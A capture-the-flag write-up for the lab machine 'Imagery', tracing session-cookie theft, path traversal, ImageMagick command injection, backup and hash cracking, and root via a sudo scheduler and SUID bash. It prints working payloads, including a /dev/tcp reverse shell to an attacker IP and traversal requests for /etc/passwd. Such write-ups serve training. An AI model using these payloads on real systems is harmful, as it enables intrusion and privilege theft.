Imagery – Full Attack Chain from Session Leak to Root
0. Summary
The full chain, step by step:
- Victim server leaks a Flask session cookie via outbound request to attacker URL
- Leaked session reused to impersonate admin (auth bypass)
- Admin log endpoint vulnerable to traversal → LFI to read arbitrary local files
- LFI used to retrieve application source (
api_edit.py) and config artifacts - Source reveals ImageMagick convert command built with
shell=True→ command injection - RCE gained as
webuser via request tampering and reverse shell payload - Encrypted backup discovered in
/var/backup→ decrypted due to weak password - Credentials recovered and reused to
su mark sudoallowed runningcharcolas root without passwordcharcol -Rreset root app auth using non-root password → schedule arbitrary command via cron- Set SUID on
/bin/bash→ persistent root shell → root flag
The key theme: each vulnerability alone is “bad,” but chained together they produce a clean full compromise.
1. Session Cookie Leakage → Admin Authentication Bypass
1-1. Observation (outbound request)
python3 -m http.server 8000
Incoming request from the target:
GET /c=session=<FLASK_SESSION_COOKIE>
1-2. Interpretation
- Server initiated a request to an attacker-controlled URL
- Session cookie embedded in query string → token exfiltration
- Cookie reuse becomes possible without cracking anything
1-3. Verification
curl -i "http://imagery.htb:8000/auth_status?_t=123" \
-H "Cookie: session=<leaked_session>"
{
"isAdmin": true,
"loggedIn": true,
"username": "[email protected]"
}
Administrator session successfully hijacked
2. Admin Functionality → LFI / Path Traversal
2-1. Discovery
/admin/get_system_log?log_identifier=<value>
2-2. Exploitation
curl -i \
"http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../../../../../etc/passwd" \
-H "Cookie: session=<admin_session>"
Observed behavior: server returned the target file as an attachment
(e.g., Content-Disposition: attachment; filename=passwd).
User-controlled
log_identifier was concatenated into a filesystem path without traversal protection → LFI confirmed.
3. Source Code Disclosure via LFI
3-1. Target files
api_edit.pydb.json
3-2. Extra signal from errors
Some file reads produced Flask/Werkzeug exceptions (404-style errors) originating from internal open() failures,
which still confirmed backend file handling and routing logic.
4. Feature Abuse → Command Injection → Web RCE
4-1. Root cause (from api_edit.py)
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
Why it’s vulnerable:
shell=Truemeans the command is interpreted by a shellx, y, width, heightwere not validated as numeric-only values- Frontend constraints were bypassed by request tampering
4-2. Payload
"x": "`; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' ;`"
4-3. Listener
nc -lvnp 4444
4-4. Result
connect to [10.10.14.37] from [10.10.11.88]
web@Imagery:~/web$
RCE achieved as
web user
5. Post-Exploitation – Encrypted Backup Discovery
5-1. Finding
ls /var/backup
web_20250806_120723.zip.aes
The .aes extension and environment hints strongly suggested pyAesCrypt-style encryption.
6. Backup Decryption (Weak Password)
Decryption was possible due to a weak password (not a crypto break).
Using pyAesCrypt with rockyou.txt recovered:
password: bestfriends
output: backup.zip
AES wasn’t broken. The password was.
7. Credential Extraction → Lateral Movement
7-1. Hash recovered from backup
01c3d2e5bdaf6134cec0a367cf53e535
7-2. Cracking
hashcat -m 0 hash rockyou.txt
... → supersmash
7-3. User switch
SSH was publickey-only, but su worked:
su mark
Password: supersmash
Shell as
mark and user flag obtained
8. Privilege Escalation Discovery – charcol
8-1. Sudo configuration
sudo -l
(ALL) NOPASSWD: /usr/local/bin/charcol
charcol is a custom backup/scheduler tool (development edition) with cron-based automation
and its own application authentication layer.
9. Privilege Escalation – Auth Reset + Root Cron Command
9-1. Authentication reset abuse
sudo charcol -R
- Used
mark’s password - Deleted:
/root/.charcol/.charcol_config - Reset app auth to no-password mode
9-2. Privileged scheduler abuse
Documentation warning (critical):
Charcol does NOT validate the safety of the --command.
Command execution context:
CHARCOL_NON_INTERACTIVE=true
9-3. Exploit: set SUID on bash
auto add \
--schedule "* * * * *" \
--command "/usr/bin/chmod +s /bin/bash" \
--name asdf
Resulting cron line:
* * * * * CHARCOL_NON_INTERACTIVE=true /usr/bin/chmod +s /bin/bash
10. Root Compromise via SUID Bash
10-1. Verification
ls -l /bin/bash
-rwsr-sr-x 1 root root ... /bin/bash
10-2. Root shell
/bin/bash -p
whoami
root
10-3. Flag
cat /root/root.txt
11. Security Takeaways
| Weakness | Impact in This Chain |
|---|---|
| Session token leakage | Direct admin impersonation without brute force |
| Path traversal (LFI) | Arbitrary file read → source disclosure |
| shell=True command building | Command injection → reliable web RCE |
| Weak backup password | Encrypted backups became readable → secrets exposure |
| Credential reuse | Lateral movement via su |
| Sudo custom tool design | Root tool allowed auth reset + arbitrary cron command execution |
| Privileged cron execution | SUID persistence → full root shell |
12. Key Takeaways
- Session leakage is equivalent to credential theft. Treat it as immediate account compromise.
- LFI is often “source disclosure in disguise.” If you can read files, you can usually find RCE.
- Never use
shell=Truewith user input. This turns parameter bugs into full RCE. - Encryption doesn’t help if passwords are weak. Backups should use strong secrets + proper key management.
- Root automation tools must validate commands. “Dev convenience” features are privilege escalation gold.
Overall: multiple small design flaws chained cleanly into a full root compromise.